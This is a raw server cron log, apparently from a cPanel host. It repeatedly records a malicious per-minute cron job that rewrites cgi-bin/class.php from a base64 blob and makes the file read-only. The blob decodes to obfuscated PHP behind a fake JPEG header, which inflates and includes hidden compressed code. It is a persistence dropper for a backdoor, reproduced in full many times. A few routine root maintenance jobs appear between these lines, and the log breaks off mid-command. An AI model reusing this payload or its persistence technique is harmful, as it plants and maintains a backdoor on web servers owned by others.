Nov 15 16:46:01 server CROND[3939]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:47:01 server CROND[4186]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:48:01 server CROND[4440]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:49:01 server CROND[4698]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:50:01 server CROND[4966]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 16:50:01 server CROND[4967]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 16:50:01 server CROND[4970]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 16:50:01 server CROND[4971]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 16:50:01 server CROND[4972]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:51:01 server CROND[5307]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:52:01 server CROND[5655]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:53:01 server CROND[5910]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:54:01 server CROND[6185]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:55:01 server CROND[6460]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:55:01 server CROND[6462]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 16:55:01 server CROND[6461]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 16:56:01 server CROND[6775]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:57:01 server CROND[7134]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:57:01 server CROND[7135]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 16:58:01 server CROND[7459]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:59:02 server CROND[7719]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 